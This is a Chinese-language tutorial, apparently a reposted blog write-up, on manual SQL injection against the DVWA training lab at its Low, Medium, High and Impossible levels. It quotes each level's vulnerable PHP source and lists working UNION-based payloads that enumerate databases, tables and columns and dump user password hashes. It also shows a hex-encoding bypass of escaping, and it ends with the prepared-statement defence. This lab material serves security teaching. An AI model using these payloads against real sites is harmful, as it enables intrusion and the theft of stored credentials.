DVWA--SQL Injection(非盲注)--四个级别
SQL 注入,是指攻擊者通過注入惡意的SQL 命令,破壞SQL 查詢語句的結(jié)構(gòu),從而達(dá)到執(zhí)行惡意SQL 語句的目的。SQL 注入漏洞的危害是巨大的,常常會(huì)導(dǎo)致整個(gè)數(shù)據(jù)庫被"脫庫"。盡管如此,SQL 注入仍是現(xiàn)在最常見的Web 漏洞之一
這里DVWA的SQL Injection(非盲注)共有四個(gè)等級(jí)
SQL注入(盲注)傳送門:
索引目錄:
Low
Medium
High
Impossible
我們這里主要利用手注,不用sqlmap等自動(dòng)化工具
手工注入(非盲注)步驟:
1. 判斷是否存在注入,注入是字符型還是數(shù)字型
2. 猜解SQL查詢語句中的字段數(shù)
3. 判斷哪些位置字段可以注入利用
4. 查詢數(shù)據(jù)庫(當(dāng)前使用數(shù)據(jù)庫或所有數(shù)據(jù)庫)
5. 查詢指定數(shù)據(jù)庫中的表
6. 查詢指定表中的字段名
7. 查詢表中字段的值
8. 簡單總結(jié)
手工注入簡單參數(shù): :
使用這些參數(shù)的前提是已經(jīng)判斷出源代碼查詢語句中的字段數(shù)與位置
- 數(shù)據(jù)庫用戶:user()
- 數(shù)據(jù)庫版本:version()
- 全局函數(shù):
當(dāng)前數(shù)據(jù)庫所在位置:@@datadir
數(shù)據(jù)庫的主機(jī)名:@@hostname
當(dāng)前數(shù)據(jù)庫版本:@@version
數(shù)據(jù)庫操作系統(tǒng)版本@@version_compile_os: - 當(dāng)前數(shù)據(jù)庫:database()
- ASCII轉(zhuǎn)字符:chr()
- 連接字符串:CONCAT_WS(database(),user(),version())
- 計(jì)算哈希:md5()
- 數(shù)據(jù)庫的源數(shù)據(jù)庫:information_schema
' union select table_name,table_schema from information_schema.tables# (這里是只有兩個(gè)字段的查詢)
數(shù)字型注入還是字符型注入講解: :
首先id后面加單引號(hào) 查看是否可能存在sql注入,返回正常,不存在;返回不正常,存在
假設(shè)ip/?id=1
數(shù)字型,參數(shù)沒有被引號(hào)包圍:
id=1 and 1=1 返回頁面正常
id=1 and 1=2 返回頁面不正常
id=1' and '1'='1 返回頁面不正常
id=1' and '1'='2 返回頁面不正常
字符型,參數(shù)被引號(hào)包圍:
id=1 and 1=1 返回頁面正常或錯(cuò)誤
id=1 and 1=2 返回頁面正常或錯(cuò)誤
id=1' and '1'='1 返回頁面正常
id=1' and '1'='2 返回頁面不正常
總結(jié)出兩種測(cè)試方法:
and 1=1正常,1=2不正常,可能存在數(shù)字型注入and 1=1正常或錯(cuò)誤,1=2正常或錯(cuò)誤,可能存在字符型注入
' and '1'='1不正常,' and '1'='2不正常,可能存在數(shù)字行注入/' and '1'='1正常,' and '1'='2不正常,可能存在字符型注入
注:源代碼參數(shù)id沒有引號(hào),傳入and 1=1和and 1=2,會(huì)把傳入的全部當(dāng)sql語句執(zhí)行,表示id=1后面的and 1=1或and 1=2也是要當(dāng)作sql語句執(zhí)行的
源代碼參數(shù)id有引號(hào),傳入and 1=1和and 1=2,會(huì)把a(bǔ)nd 1=1看作一個(gè)字符串傳入sql語句中,表示id=‘1 and 1=1’,此時(shí)這個(gè)數(shù)據(jù)庫里是沒有這個(gè)id的,所以會(huì)返回錯(cuò)誤,也就是id=1 and 1=1這個(gè)字符串的頁面無法找到,這里測(cè)試環(huán)境沒有報(bào)錯(cuò),是因?yàn)樗]有找到,所以返回沒有記錄,也就是返回當(dāng)前頁面,真正1 and 1=1這個(gè)id沒有這項(xiàng)紀(jì)錄
參考:https://blog.csdn.net/change518/article/details/8116920/
SQL語句中,and用法:如果第一個(gè)條件和第二個(gè)條件都成立,則and運(yùn)算符顯示一條記錄
Low
源代碼: <?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ];// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]); }?>- 疑難點(diǎn)釋義:
$row在前面并沒有任何定義,這里等于一個(gè)mysqli_fetch_assoc( $result ),為什么返回的是true呢
所以,我們看看下面的測(cè)試代碼,原來一個(gè)新定義的變量被賦值一個(gè)數(shù)組或不為0或不為null的數(shù)值bool類型都為true
Low級(jí)別的代碼對(duì)來自客戶端的參數(shù)id 沒有進(jìn)行任何的檢查與過濾,存在明顯的SQL 注入
因?yàn)轱@示情況中我們是看不到后端源代碼的,所以我們假設(shè)我們這里也無法看到后端源代碼,根據(jù)上面的手工注入思路進(jìn)行滲透
1. 判斷是否存在注入,注入是字符型還是數(shù)字型
-
輸入1,查詢成功:
-
輸入1' and '1'='1,查詢成功:
-
輸入1' and '1'='2,查詢失敗,返回空:
-
因?yàn)樵创a中的變量被單引號(hào)引起了,假設(shè)我們不知道變量有沒有被引號(hào)包圍,我們這樣測(cè)試后,說明變量是被引號(hào)包圍的,所以這里是字符型注入
2. 猜解SQL查詢語句中的字段數(shù)
方法一:通過order by判斷字段數(shù)量
- order by用來檢測(cè)sql查詢語句被查詢表中的被查詢字段的數(shù)量
舉例:
-
輸入1' order by 1 #,查詢成功,猜測(cè)至少有一個(gè)字段:(#表示注釋掉后面的代碼或者用–空格)
-
也可以輸入' order by 1 --空格,同樣也會(huì)查詢成功,這是沒有返回值,因?yàn)樗樵兊膇d為空,僅僅只執(zhí)行了order by:
-
輸入1' order by 2 #,查詢成功,猜測(cè)至少有兩個(gè)字段:
-
輸入1' order by 3#,查詢失敗,說明sql語句中只查詢了表中的兩個(gè)字段:
方法二:通過union select判斷字段數(shù)量:
- 輸入1' union select 1 #,查詢失敗,sql查詢語句中不止一個(gè)字段:
- 輸入1' union select 1,2 #,查詢成功,sql查詢語句中有兩個(gè)字段:
- 輸入1' union select 1,2,3 #,查詢失敗,由此可以判斷源代碼中的sql查詢語句只查詢了表中的兩個(gè)字段:
總的來說用order by 判斷字段數(shù)比較好,union select主要用來判斷哪些位置的的字段可以進(jìn)行注入利用
3. 判斷哪些位置字段可以注入利用
- 使用union select語句
輸入1' union select 1,2 #,查詢成功:
接下來,我們將上面的語句改為1' and 1=2 union select 1,2 #或者' union select 1,2 #,使得非union select前面的查詢語句返回錯(cuò)誤,只顯示union select后面語句的執(zhí)行結(jié)果,從而達(dá)到判斷哪些位置的字段可以注入,對(duì)應(yīng)的位置顯示對(duì)應(yīng)的數(shù)字,說明該字段位置可以利用,如下圖,1,2都顯示了出來,說明這兩個(gè)位置的兩個(gè)字段都可以利用
注:不顯示id=1的數(shù)據(jù),是防止注入時(shí)頁面只顯示一行查詢數(shù)據(jù),導(dǎo)致只能看到id=1的而看不到id=1下一行數(shù)據(jù),這里的dvwa是可以顯示兩行以上的,所以前面可以有1,但真實(shí)網(wǎng)站可能不這樣,因此,第一行最好不要顯示其正確數(shù)據(jù),直接進(jìn)行判斷哪些字段可以進(jìn)行注入利用
4. 查詢數(shù)據(jù)庫(當(dāng)前使用數(shù)據(jù)庫或所有數(shù)據(jù)庫)
-
輸入1' union select database(),user() #,查詢成功,查詢到當(dāng)前字段數(shù)據(jù)庫為dvwa:
-
sql語句中的CONCAT_WS函數(shù)是聯(lián)合多個(gè)語句,一起查詢(了解)
concat_ws語法: concat_ws(分隔符,sql命令1,sql命令2,sql命令3,sql命令4后面省略無數(shù)個(gè)sql命令)
釋義:concat_ws雖然是聯(lián)合多個(gè)語句一起查詢,但他括號(hào)里的的第一個(gè)參數(shù)就是分隔符,在每兩個(gè)參數(shù)之間添加一個(gè)分隔符
舉例:輸入1' union select CONCAT_WS(database(),user(),version()),2 #查詢成功:
上面語句中的database()就是分隔符,也就是在user()和version()兩個(gè)參數(shù)之間添加一個(gè)database(),也就是user()結(jié)果database()結(jié)果version結(jié)果
注:CONCAT_WS(database(),user(),version())是個(gè)整體,代替1的位置,如果2的位置沒有語句會(huì)報(bào)錯(cuò)
-
CHAR表示使用ASCII來查詢(了解)
舉例:
輸入' union select CONCAT_WS(CHAR(32),user(),version()),2# 查詢成功:
這里CHAR(32)在ASCII中表示的空格,就是user()結(jié)果和version()結(jié)果之間加一個(gè)空格
5. 查詢指定數(shù)據(jù)庫中的表
table_schema:數(shù)據(jù)庫
table_name:表名
column_name:字段名
information_schema:元數(shù)據(jù)庫
information_schema.tables:元數(shù)據(jù)庫中所有表
information_schema.columns:元數(shù)據(jù)字段
- 輸入' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()#
獲取當(dāng)前數(shù)據(jù)庫(database())中所有表的名稱
- 輸入' union select table_name,table_schema from information_schema.tables#
查詢information_schema.tables(數(shù)據(jù)庫中所有的數(shù)據(jù)庫)中的所有庫(table_schema)與它的表(table_name)
6. 查詢指定表中的字段名
- 輸入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
查詢表名為users里的字段名
注:測(cè)試時(shí)注意單引號(hào)與#是否為英文的,中文格式會(huì)報(bào)錯(cuò)
7. 查詢表中字段的值
group_concat(參數(shù)1,參數(shù)2,參數(shù)3等等無數(shù)個(gè)參數(shù))語法: group_concat函數(shù)返回一個(gè)字符串結(jié)果(就是返回一行),該結(jié)果由括號(hào)中的各個(gè)參數(shù)值執(zhí)行然后連接組合而成
- 輸入1' union select group_concat(user_id,CHAR(32),user),group_concat(password) from users#
查詢users表中的user_id,user,password中的字段值,并用CHAR(32)也就是空格做分隔,但是,這里的分隔符并不是強(qiáng)制要求,在哪里都可以。沒有的話,group_concat函數(shù)也可照常使用
注:CHAR(32)只是表示空格,輸出的值比較容易觀察
- ' union select user,password from dvwa.users#
查詢users表中user與password字段的值(上) - ' union select user,password from users#
查詢users表中user與password字段的值(下)
(上)(下)兩種等價(jià)
8. 簡單總結(jié):
1.判斷注入類型 1 and 1=1 顯示成功 1 and 1=2 顯示成功 1' and '1'='1 顯示成功 1' and '1'='2 顯示錯(cuò)誤 因此為字符型注入2.判斷字段數(shù)量,結(jié)果字段數(shù)量為2 1' order by 2#3.判斷哪些字段可利用,結(jié)果發(fā)現(xiàn),1,2位置的字段都可以利用 1' and 1=2 union select 1,2#2.判斷當(dāng)前數(shù)據(jù)庫,該數(shù)據(jù)庫:dvwa 1' and 1=2 union select 1,database()#3.判斷該元數(shù)據(jù)庫中所有數(shù)據(jù)庫 1' and 1=2 union select 1,table_schema from information_schema.tables# 所有數(shù)據(jù)庫為: dvwa information_schema mysql performance_schema phpmyadmin3.綜合上面的庫名,這里我們就只選擇dvwa數(shù)據(jù)庫進(jìn)行查詢。判斷dvwa數(shù)據(jù)庫下所有的表名,表名為:guestbook,users 1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761# #注:group_concat函數(shù)返回一個(gè)字符串結(jié)果(就是返回一行),可以不使用,視情況而定,主要看它能否一次性返回多行數(shù)據(jù),不能就需要使用group_concat #注:這里把dvwa轉(zhuǎn)為16進(jìn)制,并且不需要加'',如果不轉(zhuǎn),需要加''4.根據(jù)上面的判斷,我們接下來只選擇users表進(jìn)行注入,判斷users表中的字段 1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273# 結(jié)果字段為:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS5.判斷字段的值,判斷user、password字段的值 1' and 1=2 union select 1,group_concat(user,char(32),password) from users# 結(jié)果為: admin 5f4dcc3b5aa765d61d8327deb882cf99,gordonb e99a18c428cb38d5f260853678922e03,1337 8d3533d75ae2c3966d7e0d4fcc69216b,pablo 0d107d09f5bbe40cade3de5c71e9e9b7,smithy 5f4dcc3b5aa765d61d8327deb882cf99 注:最后查詢字段值時(shí),最后被查詢的表只能字符顯示,不能用Hex(16進(jìn)制)補(bǔ)充(了解):
SQL之concat()函數(shù)
concat()函數(shù)和group_concat()函數(shù)差不多,只不過concat將多個(gè)字符串連接成一個(gè)字符串,但返回時(shí)不返回一行數(shù)據(jù),而是多行!!!
' union select null,concat(user,0x3a,password) from users#
查詢users表中user與password字段的值,加了一個(gè)冒號(hào)分隔符,更加直觀,好看一點(diǎn)
注:0x3a是16進(jìn)制,轉(zhuǎn)換為字符為冒號(hào)
也可以用CHAR(58)替換,他們是等價(jià)的
輸入' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#
查詢dvwa庫中所有的表與dvwa庫中所有的庫,因?yàn)檫@里where只查了dvwa庫,所以只有dvwa的所有表和一個(gè)庫dvwa(就是它本身),因?yàn)閐vwa中沒有數(shù)據(jù)庫了,只有它自己是庫
輸入' union select table_name,column_name from information_schema.columns where table_schema='dvwa'#
在dvwa庫中查找其中所有表名和字段名
Medium
源代碼: <?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Display values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}// This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0];mysqli_close($GLOBALS["___mysqli_ston"]); ?>SELECT COUNT(*) FROM users; :計(jì)算出這個(gè)表中有多少字段
Medium級(jí)別的代碼增加了mysqli_real_escape_string函數(shù),使得我們的’和"被轉(zhuǎn)義,進(jìn)而不能利用’和"進(jìn)行sql注入(但是我們可以用其他的語句呀),并且submit提交時(shí),url看不見變量的值,我們猜想是不是進(jìn)行了POST提交,所以我們打開burpsuit抓包軟件進(jìn)行測(cè)試(由源代碼看出這是數(shù)字行注入,所以注入時(shí)不需要閉合單引號(hào))
這里是數(shù)字型注入,我就不具體判斷了接下來
1.測(cè)試sql語句中有幾個(gè)字段被查詢 :
- 3 order by 1
- 3 order by 2
- 3 order by 3
2.判斷這些字段哪些可以進(jìn)行注入利用 :
3 and 1=2 union select 1,2
下圖說明這兩個(gè)字段都可以進(jìn)行注入利用
3.我們?cè)賮砜纯串?dāng)前數(shù)據(jù)庫是什么 :
null union select 1,database()
我們?cè)賮韽脑獢?shù)據(jù)庫中查詢它的所有的數(shù)據(jù)庫
null union select 1,table_schema from information_schema.tables
3.我們?cè)賮砜纯粗付〝?shù)據(jù)庫(dvwa)中的所有表 :
3 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761
4.我們?cè)賮砜纯粗付ū?users)中的所有字段名 :
3 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
5.我們?cè)賮砜纯粗付ㄗ侄?user、password)中的值 :
3 and 1=2 union select 1,group_concat(user,char(32),password) from users
注:這里面所有查詢語句中,最后需要加單引號(hào)的數(shù)據(jù)庫名或表名我都用Hex(十六進(jìn)制)轉(zhuǎn)換了,因?yàn)镸edium級(jí)別的代碼利用mysql_real_escape_string函數(shù)對(duì)特殊符號(hào)\x00,\n,\r,,’,”,\x1a進(jìn)行轉(zhuǎn)義,因此,這里的’會(huì)被轉(zhuǎn)義,所以無法進(jìn)行注入,但我們嘗試刪除一部分,刪除后為:3 union select 1,group_concat(column_name) from information_schema.columns#,這是將元數(shù)據(jù)庫中所有的字段全部顯示出來,也不行啊,但是可以使用十六進(jìn)制進(jìn)行繞過,注意,16進(jìn)制的dvwa=‘dvwa’,16進(jìn)制不需要加單引號(hào),表名同理。
注:在此我也進(jìn)行了單引號(hào)用ASCII碼0x27或char(39)替代,但是沒有成功,這是因?yàn)?x27雖然代表’,但是它被使用時(shí)當(dāng)作自身也被加了’’,可以理解為16進(jìn)制的’=’’’,char(39)同理。僅為個(gè)人理解。
3 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x27users0x27 3 union select 1,group_concat(column_name) from information_schema.columns where table_name=char(39)userschar(39)High
源代碼: <?phpif( isset( $_SESSION [ 'id' ] ) ) {// Get input$id = $_SESSION[ 'id' ];// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?> $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";High級(jí)別的代碼在sql查詢語句中添加了LIMT 1,限制檢索數(shù)據(jù)的行數(shù),只能檢索一行數(shù)據(jù),其它和Low級(jí)別的源代碼沒什么兩樣,這里是字符型注入,利用方法參考Low級(jí)別滲透測(cè)試步驟
Impossible
源代碼: <?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last = $row[ 'last_name' ];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}} }// Generate Anti-CSRF token generateSessionToken();?>Impossible 級(jí)別的代碼采用了PDO 技術(shù),有效防御SQL 注入,同時(shí)只有返回的查詢結(jié)果數(shù)量為1時(shí),才會(huì)成功輸出,Anti-CSRF token的加入了進(jìn)一步提高了安全性
由于PDO技術(shù)我還沒有學(xué),因此Impossible級(jí)別的代碼無法為大家講解,等我以后學(xué)習(xí)后,會(huì)補(bǔ)了這個(gè)坑
注:大家復(fù)制sql命令時(shí)有可能復(fù)制到的單引號(hào),括號(hào)不是英文的,會(huì)發(fā)生報(bào)錯(cuò),還需要大家重新修改一下,再提交進(jìn)行sql注入
參考文章:
https://www.freebuf.com/articles/web/120747.html
https://blog.csdn.net/qq_36706878/article/details/79677078
總結(jié)
以上是生活随笔為你收集整理的DVWA--SQL Injection(非盲注)--四个级别的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 目前活期存款利率是多少,各银行活期利率一
- 下一篇: 福建各市gdp排名,2021年福建各市G